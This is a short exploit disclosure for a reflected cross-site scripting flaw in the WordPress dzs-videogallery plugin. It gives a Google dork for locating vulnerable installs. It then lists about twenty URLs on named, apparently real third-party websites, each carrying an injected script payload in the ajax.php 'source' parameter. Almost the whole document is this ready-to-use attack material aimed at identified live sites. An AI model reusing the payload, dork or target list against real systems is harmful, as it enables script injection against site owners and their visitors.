###################### # Exploit Title : Wordpress dzs-videogallery plugin Cross site scripting Vulnerability # Exploit Author : Adrian # Vendor Homepage : http://digitalzoomstudio.net/ # Google Dork : inurl:/wp-content/plugins/dzs-videogallery # Date : 2014/01/25 # Tested on : Windows 8 , Linux ###################### http://profoundlydisconnected.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.unitedfuel.com.au/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://profoundlydisconnected.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://rosetreefilms.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.ez3kiel.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://thecomedyfactory.in/wp-content/plugins/dzs-videogallery/ajax.php?height=300&width=400&type=youtube&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.handicapformidlingen.dk/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://southwestbaptistchurch.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.laprensalara.com.ve/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://barcelonamuaythai.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.theripe.tv/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://quakers.com.br/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.ifyes.ca/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E https://www.ploom-austria.at/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://susansparesort.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://lamhen.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://polirov.ru/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.antonioballatore.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://mtxglobal.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://www.handicapformidlingen.dk/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E http://slaveesadovsky.com/wp-content/plugins/dzs-videogallery/ajax.php?ajax=true&height=400&width=610&type=vimeo&source=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E ##################################### # # Discovered by : Adrian # #####################################